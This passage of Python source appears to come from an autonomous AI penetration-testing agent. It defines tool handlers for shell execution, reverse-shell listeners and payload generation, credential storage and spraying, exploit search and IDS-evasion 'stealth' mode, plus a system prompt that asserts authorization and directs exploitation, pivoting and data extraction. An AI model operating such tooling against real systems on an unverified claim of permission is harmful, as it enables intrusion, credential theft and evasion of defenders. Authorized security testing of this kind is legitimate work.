        """Format assistant response for conversation history."""
        return {"role": "assistant", "content": content_blocks}

    @staticmethod
    def extract_tool_calls(content_blocks):
        """Extract tool-use blocks from the response."""
        calls = []
        for block in content_blocks:
            if hasattr(block, "type") and block.type == "tool_use":
                calls.append({
                    "id": block.id,
                    "name": block.name,
                    "input": block.input,
                })
        return calls

    @staticmethod
    def extract_text(content_blocks):
        """Extract text blocks from the response."""
        texts = []
        for block in content_blocks:
            if hasattr(block, "type") and block.type == "text":
                texts.append(block.text)
        return "\n".join(texts)


class OpenAIProvider:
    """OpenAI (or compatible) LLM provider with function calling."""

    def __init__(self, api_key=None, model="gpt-4o",
                 base_url=None):
        if not HAS_OPENAI:
            raise ImportError(
                "'openai' package required.\n"
                "  Install with:  pip install openai"
            )
        self.api_key = api_key or os.environ.get("OPENAI_API_KEY", "")
        if not self.api_key:
            self.api_key = getpass.getpass("OpenAI API key: ")
        self.model = model
        kwargs = {"api_key": self.api_key}
        if base_url:
            kwargs["base_url"] = base_url
        self.client = openai.OpenAI(**kwargs)

    def call(self, messages, system_prompt):
        """
        Call OpenAI with messages and tools.
        Returns list of content blocks (normalised to Claude-like format).
        """
        oai_messages = [{"role": "system", "content": system_prompt}]
        for msg in messages:
            oai_messages.append(self._convert_message(msg))

        response = self.client.chat.completions.create(
            model=self.model,
            max_tokens=4096,
            messages=oai_messages,
            tools=_openai_tools(),
        )

        choice = response.choices[0]
        content_blocks = []
        stop_reason = choice.finish_reason

        if choice.message.content:
            content_blocks.append(_TextBlock(choice.message.content))

        if choice.message.tool_calls:
            stop_reason = "tool_use"
            for tc in choice.message.tool_calls:
                content_blocks.append(_ToolUseBlock(
                    id=tc.id,
                    name=tc.function.name,
                    input=json.loads(tc.function.arguments),
                ))

        return content_blocks, stop_reason

    def _convert_message(self, msg):
        """Convert internal message format to OpenAI format."""
        if msg["role"] == "assistant":
            content = msg.get("content", [])
            if isinstance(content, str):
                return {"role": "assistant", "content": content}
            text_parts = []
            tool_calls = []
            for block in content:
                if hasattr(block, "type"):
                    if block.type == "text":
                        text_parts.append(block.text)
                    elif block.type == "tool_use":
                        tool_calls.append({
                            "id": block.id,
                            "type": "function",
                            "function": {
                                "name": block.name,
                                "arguments": json.dumps(block.input),
                            },
                        })
                elif isinstance(block, dict):
                    if block.get("type") == "text":
                        text_parts.append(block["text"])
                    elif block.get("type") == "tool_use":
                        tool_calls.append({
                            "id": block["id"],
                            "type": "function",
                            "function": {
                                "name": block["name"],
                                "arguments": json.dumps(block["input"]),
                            },
                        })
            result = {"role": "assistant", "content": "\n".join(text_parts) or None}
            if tool_calls:
                result["tool_calls"] = tool_calls
            return result

        if msg["role"] == "user":
            content = msg.get("content", "")
            if isinstance(content, str):
                return {"role": "user", "content": content}
            if isinstance(content, list):
                for block in content:
                    if isinstance(block, dict) and block.get("type") == "tool_result":
                        return {
                            "role": "tool",
                            "tool_call_id": block["tool_use_id"],
                            "content": block.get("content", ""),
                        }
            return {"role": "user", "content": str(content)}

        return {"role": msg["role"], "content": msg.get("content", "")}

    @staticmethod
    def format_tool_result(tool_use_id, result_text):
        return {
            "role": "user",
            "content": [
                {
                    "type": "tool_result",
                    "tool_use_id": tool_use_id,
                    "content": result_text,
                }
            ],
        }

    @staticmethod
    def format_assistant_message(content_blocks):
        return {"role": "assistant", "content": content_blocks}

    @staticmethod
    def extract_tool_calls(content_blocks):
        calls = []
        for block in content_blocks:
            if hasattr(block, "type") and block.type == "tool_use":
                calls.append({
                    "id": block.id,
                    "name": block.name,
                    "input": block.input,
                })
        return calls

    @staticmethod
    def extract_text(content_blocks):
        texts = []
        for block in content_blocks:
            if hasattr(block, "type") and block.type == "text":
                texts.append(block.text)
        return "\n".join(texts)


# Helper classes for normalised content blocks

class _TextBlock:
    def __init__(self, text):
        self.type = "text"
        self.text = text

class _ToolUseBlock:
    def __init__(self, id, name, input):
        self.type = "tool_use"
        self.id = id
        self.name = name
        self.input = input


# ═════════════════════════════════════════════════════════════════════════
# Tool Handlers
# ═════════════════════════════════════════════════════════════════════════

def handle_run_command(executor, args, auto_approve=False):
    """Execute a bash command on the attack box."""
    command = args.get("command", "")
    timeout = min(args.get("timeout", DEFAULT_TIMEOUT), 600)

    if not command.strip():
        return "Error: empty command"

    _print_tool("run_command", command)

    if is_dangerous(command):
        if auto_approve:
            _print_warn("Auto-approved dangerous command (--auto-approve)")
        elif not request_approval(command):
            return "Command rejected by user (safety control)."

    start = time.time()
    exit_code, stdout, stderr = executor.execute(command, timeout)
    elapsed = time.time() - start

    output = stdout
    if stderr:
        output += f"\n[STDERR]\n{stderr}"
    output = truncate_output(output)

    _print_output(output, elapsed, exit_code)
    return f"Exit code: {exit_code}\n{output}"


def handle_run_script(executor, args, auto_approve=False):
    """Write and execute a Python script."""
    script = args.get("script", "")
    filename = args.get("filename", "agent_script.py")

    if not script.strip():
        return "Error: empty script"

    _print_tool("run_script", filename)

    # Write the script
    escaped = script.replace("'", "'\\''")
    write_cmd = f"cat > /tmp/{filename} << 'AGENTSCRIPT'\n{script}\nAGENTSCRIPT"
    executor.execute(write_cmd, timeout=10)

    # Execute it
    start = time.time()
    exit_code, stdout, stderr = executor.execute(
        f"cd /tmp && python3 {filename}", timeout=300,
    )
    elapsed = time.time() - start

    output = stdout
    if stderr:
        output += f"\n[STDERR]\n{stderr}"
    output = truncate_output(output)

    _print_output(output, elapsed, exit_code)
    return f"Exit code: {exit_code}\n{output}"


def handle_install_tool(executor, args):
    """Install a security tool on the attack box."""
    tool = args.get("tool_name", "")
    method = args.get("method", "apt")
    source = args.get("source", "")

    _print_tool("install_tool", f"{method} install {tool}")

    if method == "apt":
        cmd = f"DEBIAN_FRONTEND=noninteractive apt-get install -y {shlex.quote(tool)}"
    elif method == "pip":
        cmd = f"pip3 install {shlex.quote(tool)}"
    elif method == "go":
        if source:
            cmd = f"go install {source}@latest"
        else:
            cmd = f"go install {tool}@latest"
    elif method == "git":
        if source:
            cmd = f"cd /opt && git clone {source}"
        else:
            return "Error: git method requires 'source' URL"
    else:
        return f"Error: unknown method '{method}'"

    exit_code, stdout, stderr = executor.execute(cmd, timeout=300)
    output = truncate_output(stdout + stderr)
    _print_output(output, 0, exit_code)
    return f"Exit code: {exit_code}\n{output}"


def handle_read_file(executor, args):
    """Read a file from the attack box."""
    path = args.get("path", "")
    max_lines = args.get("max_lines", 200)

    _print_tool("read_file", path)

    cmd = f"head -n {max_lines} {shlex.quote(path)}"
    exit_code, stdout, stderr = executor.execute(cmd, timeout=30)

    if exit_code != 0:
        return f"Error reading {path}: {stderr}"

    output = truncate_output(stdout)
    line_count = stdout.count("\n")
    print(f"  {DIM}({line_count} lines){R}")
    return output


def handle_write_file(executor, args):
    """Write content to a file on the attack box."""
    path = args.get("path", "")
    content = args.get("content", "")

    _print_tool("write_file", path)

    escaped = content.replace("'", "'\\''")
    cmd = f"cat > {shlex.quote(path)} << 'AGENTFILE'\n{content}\nAGENTFILE"
    exit_code, stdout, stderr = executor.execute(cmd, timeout=30)

    if exit_code != 0:
        return f"Error writing {path}: {stderr}"

    print(f"  {GRN}Written {len(content)} bytes{R}")
    return f"File written to {path} ({len(content)} bytes)"


def handle_report_finding(findings_list, args):
    """Record a security finding."""
    finding = Finding(
        title=args.get("title", ""),
        severity=args.get("severity", "INFO"),
        category=args.get("category", ""),
        description=args.get("description", ""),
        evidence=args.get("evidence", ""),
        recommendation=args.get("recommendation", ""),
        cvss=args.get("cvss", ""),
    )
    findings_list.append(finding)
    sc = SEV_COLOR.get(finding.severity, WHT)
    print(f"\n  {sc}{B}[FINDING]{R}  {sc}[{finding.severity}]{R}  {finding.title}")
    print(f"  {DIM}Category: {finding.category} | ID: {finding.id}{R}\n")
    return f"Finding recorded: [{finding.severity}] {finding.title} (ID: {finding.id})"


def handle_ask_user(args):
    """Ask the user a question and return their response."""
    question = args.get("question", "")
    print(f"\n  {CYN}{B}[AGENT QUESTION]{R}  {question}")
    try:
        answer = input(f"  {CYN}Your answer: {R}")
    except (EOFError, KeyboardInterrupt):
        answer = "(no answer)"
    return f"User response: {answer}"


def handle_store_credential(vault, args):
    """Store a credential in the vault."""
    cred = vault.store(
        username=args.get("username", ""),
        secret=args.get("secret", ""),
        cred_type=args.get("cred_type", "password"),
        target=args.get("target", ""),
        source=args.get("source", ""),
    )
    masked = cred["secret"][:3] + "***" if len(cred["secret"]) > 3 else "***"
    print(f"\n  {YEL}{B}[CRED]{R}  Stored: {cred['username']}:{masked} "
          f"[{cred['type']}] @ {cred['target'] or 'any'}")
    return (f"Credential stored (ID: {cred['id']}): "
            f"{cred['username']} [{cred['type']}] @ {cred['target'] or 'any'}")


def handle_list_credentials(vault):
    """List all stored credentials."""
    creds = vault.list_all()
    if not creds:
        return "No credentials in vault."
    lines = [f"Credential Vault ({len(creds)} entries):"]
    for c in creds:
        masked = c["secret"][:3] + "***" if len(c["secret"]) > 3 else "***"
        lines.append(
            f"  [{c['id']}] {c['username']}:{masked} "
            f"[{c['type']}] @ {c['target'] or 'any'} "
            f"(via {c['source'] or '?'}, used {c['used_count']}x)"
        )
    return "\n".join(lines)


def handle_open_shell(shell_mgr, args):
    """Open a named shell session."""
    name = args.get("name", "default")
    _print_tool("open_shell", name)
    result = shell_mgr.open_shell(name)
    print(f"  {GRN}{result}{R}")
    return result


def handle_run_in_shell(shell_mgr, args):
    """Run a command in a named shell."""
    name = args.get("shell_name", "default")
    command = args.get("command", "")
    timeout = min(args.get("timeout", DEFAULT_TIMEOUT), 600)

    _print_tool(f"run_in_shell[{name}]", command)

    if is_dangerous(command):
        if not request_approval(command):
            return "Command rejected by user."

    start = time.time()
    result = shell_mgr.run_in_shell(name, command, timeout)
    elapsed = time.time() - start

    lines = result.strip().split("\n")
    for line in lines[:15]:
        print(f"  {DIM}{line}{R}")
    if len(lines) > 15:
        print(f"  {DIM}... ({len(lines) - 15} more lines){R}")
    print(f"  {DIM}[{elapsed:.1f}s]{R}")

    return result


def handle_use_playbook(args):
    """Load a methodology playbook."""
    pb_key = args.get("playbook", "")
    pb = PLAYBOOKS.get(pb_key)
    if not pb:
        return f"Unknown playbook: '{pb_key}'. Available: {', '.join(PLAYBOOKS.keys())}"
    print(f"\n  {BLU}{B}[PLAYBOOK]{R}  Loaded: {pb['name']}")
    return f"Playbook loaded: {pb['name']}\n\n{pb['prompt']}"


def handle_spawn_subagent(subagent_mgr, args, target, scope):
    """Spawn a background subagent."""
    task = args.get("task", "")
    if not task:
        return "Error: empty task description"
    task_id = subagent_mgr.spawn(task, target, scope)
    return (f"Subagent {task_id} spawned for: {task[:80]}. "
            "It will run in the background and report findings automatically. "
            "Check status with /subagents command.")


def handle_detect_tools(tool_detector, args):
    """Detect installed pentest tools."""
    tools_to_check = args.get("tools", [])
    _print_tool("detect_tools", f"checking {len(tools_to_check) or 'all'} tools")

    if tools_to_check:
        results = {}
        for t in tools_to_check:
            results[t] = tool_detector.check_tool(t)
    else:
        results = tool_detector.scan_all()

    installed = [t for t, v in results.items() if v]
    missing = [t for t, v in results.items() if not v]

    print(f"  {GRN}Installed ({len(installed)}):{R} {', '.join(installed[:20])}")
    if missing:
        print(f"  {RED}Missing ({len(missing)}):{R} {', '.join(missing[:20])}")

    lines = [f"Tool detection complete: {len(installed)} installed, {len(missing)} missing."]
    if missing:
        lines.append(f"Missing tools: {', '.join(missing)}")
        lines.append("Use install_tool to install any missing tools you need.")
    return "\n".join(lines)


def handle_search_exploits(exploit_searcher, args):
    """Search for exploits via searchsploit."""
    query = args.get("query", "")
    if not query:
        return "Error: empty search query"
    _print_tool("search_exploits", query)
    result = exploit_searcher.search_exploitdb(query)
    lines = result.strip().split("\n")
    for line in lines[:15]:
        print(f"  {DIM}{line}{R}")
    if len(lines) > 15:
        print(f"  {DIM}... ({len(lines) - 15} more lines){R}")
    return result


def handle_start_listener(revshell_handler, args):
    """Start a reverse shell listener."""
    name = args.get("name", "main")
    port = args.get("port", 4444)
    proto = args.get("proto", "tcp")
    _print_tool("start_listener", f"{name} on {proto.upper()}:{port}")
    result = revshell_handler.start_listener(name, port, proto)
    print(f"  {GRN}{result}{R}")
    return result


def handle_stop_listener(revshell_handler, args):
    """Stop a reverse shell listener."""
    name = args.get("name", "")
    result = revshell_handler.stop_listener(name)
    print(f"  {YEL}{result}{R}")
    return result


def handle_check_listener(revshell_handler, args):
    """Check a listener for connections."""
    name = args.get("name", "")
    _print_tool("check_listener", name)
    result = revshell_handler.check_listener(name)
    lines = result.strip().split("\n")
    for line in lines[:10]:
        print(f"  {DIM}{line}{R}")
    return result


def handle_generate_payload(revshell_handler, args):
    """Generate reverse shell payloads."""
    lhost = args.get("lhost", "")
    lport = args.get("lport", 4444)
    _print_tool("generate_payload", f"{lhost}:{lport}")
    payloads = revshell_handler.generate_payloads(lhost, lport)
    lines = ["Reverse shell payloads:"]
    for lang, payload in payloads.items():
        lines.append(f"\n[{lang.upper()}]\n{payload}")
        print(f"  {CYN}[{lang.upper()}]{R} {DIM}{payload[:80]}...{R}")
    return "\n".join(lines)


def handle_run_phalanx_scanner(executor, args):
    """Run a Phalanx Cyber scanner."""
    scanner_key = args.get("scanner", "")
    target_path = args.get("target_path", "")
    scanner = PHALANX_SCANNERS.get(scanner_key)

    if not scanner:
        return f"Unknown scanner: '{scanner_key}'. Available: {', '.join(PHALANX_SCANNERS.keys())}"

    _print_tool("phalanx_scanner", f"{scanner['name']} -> {target_path}")

    # Check if scanner file exists
    if scanner.get("file"):
        exit_code, _, _ = executor.execute(
            f"test -f /opt/phalanx/{scanner['file']} && echo found",
            timeout=5,
        )
        if exit_code != 0 and scanner.get("repo"):
            print(f"  {YEL}Scanner not found locally. Cloning from GitHub...{R}")
            executor.execute(
                f"git clone {scanner['repo']} /opt/phalanx/ 2>/dev/null || true",
                timeout=60,
            )

    # Build and run the command
    cmd = scanner["command"].replace("{target}", shlex.quote(target_path))
    if scanner.get("file"):
        cmd = f"cd /opt/phalanx && {cmd}"

    start = time.time()
    exit_code, stdout, stderr = executor.execute(cmd, timeout=600)
    elapsed = time.time() - start

    output = stdout
    if stderr:
        output += f"\n[STDERR]\n{stderr}"
    output = truncate_output(output)

    _print_output(output, elapsed, exit_code)
    return f"[{scanner['name']}] Exit code: {exit_code}\n{output}"


def handle_set_phase(progress_tracker, args):
    """Set the current pentest phase."""
    phase = args.get("phase", "")
    note = args.get("note", "")
    _print_tool("set_phase", phase)
    result = progress_tracker.start_phase(phase)
    if note:
        progress_tracker.add_note(phase, note)
    print(f"  {GRN}{result}{R}")
    print(progress_tracker.display())
    return result


def handle_get_compliance_map(args):
    """Get compliance mapping for a finding category."""
    category = args.get("category", "")
    _print_tool("compliance_map", category)
    mapping = get_compliance_mapping(category)
    if not mapping:
        return f"No compliance mapping found for category: '{category}'"
    lines = [f"Compliance mapping for '{category}':"]
    for framework, controls in mapping.items():
        lines.append(f"  {framework}: {', '.join(controls)}")
    result = "\n".join(lines)
    for line in lines:
        print(f"  {DIM}{line}{R}")
    return result


def handle_toggle_stealth(stealth_ctrl, args):
    """Toggle stealth mode."""
    enabled = args.get("enabled", False)
    delay = args.get("delay", 2.0)
    stealth_ctrl.enabled = enabled
    stealth_ctrl.delay = delay
    status = "ON" if enabled else "OFF"
    _print_tool("stealth_mode", status)
    if enabled:
        print(f"  {YEL}Stealth mode ENABLED — delay: {delay}s + jitter{R}")
        tips = stealth_ctrl.get_stealth_tips()
        for tip_name, tip_text in list(tips.items())[:3]:
            print(f"  {DIM}  {tip_name}: {tip_text}{R}")
    else:
        print(f"  {GRN}Stealth mode DISABLED — full speed{R}")
    return f"Stealth mode: {status} (delay: {delay}s)"


def handle_run_recon_pipeline(recon_pipeline, args, evidence_collector=None):
    """Run an autonomous recon pipeline."""
    pipeline_type = args.get("pipeline", "full")
    target = args.get("target", "")
    if not target:
        return "Error: target is required"
    print(f"\n  {BLU}{B}[RECON PIPELINE]{R}  Running '{pipeline_type}' on {target}")
    print(f"  {'─' * 50}")
    result = recon_pipeline.run(target, pipeline_type, evidence_collector)
    print(f"  {'─' * 50}")
    print(f"  {GRN}{B}[RECON COMPLETE]{R}")
    return result


def handle_smart_exploit_search(exploit_selector, args):
    """Parse nmap output and search for exploits."""
    nmap_output = args.get("nmap_output", "")
    if not nmap_output:
        return "Error: nmap_output is required"

    _print_tool("smart_exploit_search", "parsing services...")
    services = exploit_selector.parse_nmap_output(nmap_output)
    if not services:
        return "No services could be parsed from the nmap output."

    print(f"  {DIM}Found {len(services)} services. Searching ExploitDB...{R}")
    exploit_selector.search_all()

    recs = exploit_selector.get_recommendations()
    if not recs:
        return f"Parsed {len(services)} services but no exploits found in ExploitDB."

    lines = [f"Smart exploit search: {exploit_selector.summary()}\n"]
    lines.append("Top exploit recommendations (ranked by reliability):\n")
    for i, rec in enumerate(recs[:15], 1):
        prio_label = {5: "METASPLOIT", 4: "REMOTE", 3: "WEBAPP", 2: "LOCAL", 1: "DOS"}.get(rec["priority"], "?")
        print(
            f"  {YEL}{i:2d}.{R} [{prio_label}] {rec['exploit'][:60]} "
            f"{DIM}({rec['service']}){R}"
        )
        lines.append(
            f"  {i}. [{prio_label}] {rec['exploit']} "
            f"({rec['service']} — {rec['version']}) "
            f"Path: {rec['path']}"
        )

    return "\n".join(lines)


def handle_credential_spray(spray_engine, args, stealth_ctrl=None):
    """Spray vault credentials against services."""
    target = args.get("target", "")
    services = args.get("services", [])
    if not target or not services:
        return "Error: target and services list required"

    print(f"\n  {YEL}{B}[CREDENTIAL SPRAY]{R}  {target} — {len(services)} services")
    print(f"  {'─' * 50}")
    result = spray_engine.spray(target, services, stealth_ctrl)
    print(f"  {'─' * 50}")
    return result


def handle_add_attack_step(attack_graph, args):
    """Add a step to the attack graph."""
    node = attack_graph.add_node(
        stage=args.get("stage", ""),
        technique=args.get("technique", ""),
        description=args.get("description", ""),
        source_host=args.get("source_host", ""),
        target_host=args.get("target_host", ""),
        evidence=args.get("evidence", ""),
    )
    print(f"\n  {CYN}{B}[ATTACK GRAPH]{R}  "
          f"{CYN}[{node['stage_name']}]{R}  {node['technique']}")
    print(f"  {DIM}{node['description'][:70]}{R}\n")
    return (
        f"Attack step recorded: [{node['stage_name']}] {node['technique']} "
        f"(step #{node['order'] + 1})"
    )


def handle_validate_finding(validator, args):
    """Handle the multi-stage vulnerability validation pipeline."""
    action = args.get("action", "status")

    if action == "ingest":
        entry = validator.ingest(
            title=args.get("title", ""),
            raw_output=args.get("raw_output", ""),
            tool_name=args.get("tool_name", ""),
            target_host=args.get("target_host", ""),
            port=args.get("port", ""),
            service=args.get("service", ""),
            cve=args.get("cve", ""),
        )
        print(f"\n  {BLU}{B}[PIPELINE]{R}  Ingested: {entry['title'][:60]} "
              f"(ID: {entry['id']}, stage: inventory)")
        return (f"Finding ingested into validation pipeline (ID: {entry['id']}). "
                f"Advance through stages: analysis → sanity_check → ruling → "
                f"feasibility → validated. Use validate_finding with action='advance' "
                f"and finding_id='{entry['id']}' to progress.")

    elif action == "advance":
        fid = args.get("finding_id", "")
        entry = validator.advance(
            finding_id=fid,
            new_stage=args.get("new_stage", ""),
            confidence=args.get("confidence"),
            severity=args.get("severity"),
            notes=args.get("notes", ""),
        )
        if entry:
            sc = SEV_COLOR.get(entry.get("severity", ""), WHT)
            print(f"\n  {BLU}{B}[PIPELINE]{R}  {entry['title'][:50]} → "
                  f"{B}{entry['stage']}{R} "
                  f"(conf: {entry['confidence']:.0%}, sev: {sc}{entry['severity']}{R})")
            if entry["stage"] == "validated":
                print(f"  {GRN}{B}  ✓ VALIDATED{R} — ready for report_finding")
            return (f"Finding {fid} advanced to '{entry['stage']}' "
                    f"(confidence: {entry['confidence']:.0%}, severity: {entry['severity']})")
        return f"Finding {fid} not found in pipeline."

    elif action == "reject":
        fid = args.get("finding_id", "")
        entry = validator.reject(fid, args.get("notes", ""))
        if entry:
            print(f"\n  {RED}{B}[PIPELINE]{R}  REJECTED: {entry['title'][:60]} "
                  f"— {args.get('notes', '')[:50]}")
            return f"Finding {fid} rejected as false positive."
        return f"Finding {fid} not found in pipeline."

    else:  # status
        stats = validator.get_stats()
        pending = validator.get_pending()
        validated = validator.get_validated()
        lines = [f"Validation Pipeline: {stats['total']} total"]
        for stage, count in stats.get("by_stage", {}).items():
            lines.append(f"  {stage}: {count}")
        if validated:
            lines.append(f"\nValidated ({len(validated)}):")
            for v in validated[:5]:
                lines.append(f"  [{v['severity']}] {v['title'][:50]} (conf: {v['confidence']:.0%})")
        if pending:
            lines.append(f"\nPending ({len(pending)}):")
            for p in pending[:5]:
                lines.append(f"  [{p['stage']}] {p['title'][:50]}")
        return "\n".join(lines)


def handle_analyze_exploit(analyzer, args):
    """Score and rank a finding for exploitation priority."""
    analysis = analyzer.analyze(
        finding_id=args.get("finding_id", ""),
        title=args.get("title", ""),
        severity=args.get("severity", "MEDIUM"),
        category=args.get("category", ""),
        exploit_available=args.get("exploit_available", False),
        auth_required=args.get("auth_required", False),
        network_accessible=args.get("network_accessible", True),
        user_interaction=args.get("user_interaction", False),
        default_creds=args.get("default_creds", False),
        version_match=args.get("version_match", False),
        detection_hours=args.get("detection_hours", 24),
        raw_evidence=args.get("raw_evidence", ""),
    )
    pcolor = {
        "P1-IMMEDIATE": RED, "P2-HIGH": YEL, "P3-MEDIUM": BLU, "P4-LOW": DIM,
    }.get(analysis["priority"], WHT)
    print(f"\n  {MAG}{B}[EXPLOIT ANALYSIS]{R}  {analysis['title'][:50]}")
    print(f"  Priority: {pcolor}{B}{analysis['priority']}{R}  "
          f"Risk: {analysis['risk_score']}  "
          f"Impact: {analysis['impact_score']}  "
          f"Exploitability: {analysis['exploitability']}")
    print(f"  {DIM}Modifiers: {', '.join(analysis['modifiers'])}{R}")
    print(f"  {GRN}→ {analysis['recommendation'][:80]}{R}\n")
    return (
        f"Exploit Analysis [{analysis['priority']}]:\n"
        f"  Risk Score: {analysis['risk_score']} "
        f"(impact={analysis['impact_score']} × exploitability={analysis['exploitability']} "
        f"/ detection={analysis['detection_hours']}h)\n"
        f"  Modifiers: {', '.join(analysis['modifiers'])}\n"
        f"  Recommendation: {analysis['recommendation']}"
    )


def handle_correlate_findings(correlator, target, args):
    """Handle finding correlation and deduplication."""
    action = args.get("action", "status")

    if action == "add":
        entry = correlator.add_entry(
            title=args.get("title", ""),
            tool_name=args.get("tool_name", ""),
            port=args.get("port", ""),
            service=args.get("service", ""),
            cve=args.get("cve", ""),
            severity=args.get("severity", ""),
            host=args.get("host", target),
            raw_snippet=args.get("raw_snippet", ""),
        )
        print(f"\n  {CYN}{B}[CORRELATE]{R}  Added: {entry['title'][:50]} "
              f"(tool: {entry['tool']}, port: {entry['port']})")
        return f"Finding added to correlation engine (ID: {entry['id']}). Use action='correlate' to run deduplication."

    elif action == "correlate":
        groups = correlator.correlate()
        hc = correlator.get_high_confidence()
        stats = correlator.get_stats()
        lines = [
            f"Correlation complete: {stats['raw_entries']} raw → "
            f"{stats['correlated_groups']} unique "
            f"({stats['dedup_ratio']} dedup)",
            f"Multi-tool confirmed: {stats['multi_tool_confirmed']}",
        ]
        if hc:
            lines.append(f"\nHigh-confidence findings ({len(hc)}):")
            for g in hc:
                lines.append(
                    f"  [{g['best_severity']}] {g['best_title'][:50]}\n"
                    f"    Tools: {', '.join(g['tools'])} | "
                    f"Confidence: {g['confidence']:.0%} | "
                    f"Port: {g['port']} | "
                    f"CVEs: {', '.join(g['cves']) if g['cves'] else 'none'}"
                )
        print(f"\n  {CYN}{B}[CORRELATE]{R}  {stats['raw_entries']} raw → "
              f"{stats['correlated_groups']} groups "
              f"({stats['multi_tool_confirmed']} multi-tool confirmed)\n")
        return "\n".join(lines)

    else:  # status
        stats = correlator.get_stats()
        return (f"Correlation Engine: {stats['raw_entries']} raw entries, "
                f"{stats['correlated_groups']} groups, "
                f"{stats['multi_tool_confirmed']} multi-tool confirmed")


# ═════════════════════════════════════════════════════════════════════════
# Printing helpers
# ═════════════════════════════════════════════════════════════════════════

def handle_manage_tasks(task_tree, args):
    """Add to / update / view the Pentest Task Tree."""
    action = (args.get("action") or "").lower()
    if action == "add":
        _tid, msg = task_tree.add(
            args.get("title", ""),
            parent_id=args.get("parent_id"),
            status=args.get("status", "todo"),
            priority=args.get("priority", ""),
            note=args.get("note", ""),
        )
        return msg
    if action == "add_many":
        titles = args.get("titles") or []
        if isinstance(titles, str):   # tolerate a newline-delimited string
            titles = [t.strip() for t in titles.splitlines() if t.strip()]
        ids, msg = task_tree.add_many(titles, parent_id=args.get("parent_id"))
        if ids:
            return msg + "\nPENTEST TASK TREE:\n" + task_tree.summary_for_prompt()
        return msg
    if action == "update":
        task_id = args.get("task_id")
        if not task_id:
            return "task_id is required for update."
        return task_tree.update(
            task_id,
            status=args.get("status"),
            title=args.get("title"),
            note=args.get("note"),
            priority=args.get("priority"),
        )
    if action in ("list", "status", ""):
        return "PENTEST TASK TREE:\n" + task_tree.summary_for_prompt()
    return f"Unknown action '{action}'. Use add, add_many, update, or list."


def _print_tool(name, detail):
    print(f"\n  {MAG}{B}[TOOL]{R}  {name}: {WHT}{detail}{R}")

def _print_output(output, elapsed, exit_code):
    if output.strip():
        lines = output.strip().split("\n")
        preview = lines[:20]
        for line in preview:
            print(f"  {DIM}{line}{R}")
        if len(lines) > 20:
            print(f"  {DIM}... ({len(lines) - 20} more lines){R}")
    status = f"{GRN}OK{R}" if exit_code == 0 else f"{RED}exit {exit_code}{R}"
    if elapsed > 0:
        print(f"  {DIM}[{status} in {elapsed:.1f}s]{R}")

def _print_status(msg):
    print(f"  {CYN}[*]{R} {msg}")

def _print_warn(msg):
    print(f"  {YEL}[!]{R} {msg}")

def _print_error(msg):
    print(f"  {RED}[!]{R} {msg}", file=sys.stderr)

def _print_agent(text):
    """Print agent response text with wrapping."""
    if not text.strip():
        return
    print(f"\n{CYN}{B}[Agent]{R}")
    for line in text.split("\n"):
        print(f"  {line}")
    print()


# ═════════════════════════════════════════════════════════════════════════
# System Prompt Builder
# ═════════════════════════════════════════════════════════════════════════

def build_system_prompt(target, scope, objective, findings, executor_label,
                        cred_vault=None, shell_mgr=None, subagent_mgr=None,
                        revshell_handler=None, tool_detector=None,
                        progress=None, stealth=None, attack_graph=None,
                        vuln_validator=None, exploit_analyzer=None,
                        finding_correlator=None, task_tree=None):
    """Build the system prompt for the pentest agent."""
    # Build tool registry summary
    tool_lines = []
    for cat, tools in TOOL_REGISTRY.items():
        names = ", ".join(t[0] for t in tools)
        tool_lines.append(f"  {cat}: {names}")
    tool_summary = "\n".join(tool_lines)

    # Build findings summary
    if findings:
        finding_lines = []
        for f in findings:
            finding_lines.append(f"  [{f.severity}] {f.title} ({f.category})")
        findings_summary = "\n".join(finding_lines)
    else:
        findings_summary = "  None yet."

    # Credential vault summary
    cred_summary = cred_vault.summary_for_prompt() if cred_vault else "  N/A"

    # Shell manager summary
    shell_summary = shell_mgr.summary_for_prompt() if shell_mgr else "  N/A"

    # Subagent summary
    sub_summary = subagent_mgr.summary_for_prompt() if subagent_mgr else "  N/A"

    # Listener summary
    listener_summary = revshell_handler.summary_for_prompt() if revshell_handler else "  N/A"

    # Tool detection summary
    tool_status = tool_detector.summary() if tool_detector else "  Not scanned"

    # Available playbooks
    pb_list = ", ".join(f"'{k}' ({v['name']})" for k, v in PLAYBOOKS.items())

    # Phalanx scanners
    phalanx_list = ", ".join(f"'{k}' ({v['name']})" for k, v in PHALANX_SCANNERS.items())

    # Progress tracker
    progress_summary = progress.summary_for_prompt() if progress else "  Not tracked"

    # Stealth mode
    stealth_summary = stealth.summary_for_prompt() if stealth else "  OFF"

    # Attack graph
    attack_summary = attack_graph.summary_for_prompt() if attack_graph else "  No steps"

    # Tier 5 summaries
    validator_summary = vuln_validator.summary_for_prompt() if vuln_validator else "  Not active"
    analyzer_summary = exploit_analyzer.summary_for_prompt() if exploit_analyzer else "  Not active"
    correlator_summary = finding_correlator.summary_for_prompt() if finding_correlator else "  Not active"

    # Pentest Task Tree (the externalized plan)
    task_summary = (task_tree.summary_for_prompt() if task_tree
                    else "  Not initialized — create one with manage_tasks(action='add_many').")

    return textwrap.dedent(f"""\
        You are an expert penetration tester conducting an AUTHORIZED security
        assessment. You have explicit written permission to test the target.

        TARGET: {target}
        SCOPE: {scope}
        OBJECTIVE: {objective}
        ATTACK BOX: {executor_label}

        CURRENT PLAN — PENTEST TASK TREE
        (Your durable memory. On long runs the chat history is trimmed, but this
        tree is re-shown every turn — keep it current and trust it over recall.)
        {task_summary}

        Maintain it with manage_tasks: first decompose the OBJECTIVE into
        tasks/subtasks (action='add_many'); mark each 'in_progress' then 'done'
        as you work; add new tasks as you discover them (e.g. one per newly found
        service/host). Consult the tree before choosing each next step.

        METHODOLOGY (follow this order):
        1. Reconnaissance — Enumerate ports, services, technologies, subdomains
        2. Vulnerability Analysis — Identify misconfigs, outdated software, injection points
        3. Exploitation — Attempt to exploit confirmed vulnerabilities
        4. Post-Exploitation — Escalate privileges, pivot, extract data
        5. Reporting — Document EVERY finding with report_finding

        ADVANCED CAPABILITIES:
        - Use spawn_subagent for parallel tasks (e.g., dir brute-force while
          you enumerate subdomains). Subagents run independently in background.
        - Use store_credential for EVERY credential you discover. Then try
          credential reuse across services with list_credentials.
        - Use open_shell + run_in_shell for persistent named sessions.
        - Use use_playbook to load a methodology: {pb_list}
        - Use detect_tools early to check what is installed on the attack box.
        - Use search_exploits after discovering service versions to find CVEs.
        - Use start_listener + generate_payload for reverse shell exploitation.
        - Use run_phalanx_scanner to run specialized scanners: {phalanx_list}
        - Use set_phase when transitioning between methodology phases.
        - Use get_compliance_map to add OWASP/PTES/NIST context to findings.
        - Use toggle_stealth to enable rate limiting and IDS evasion flags.
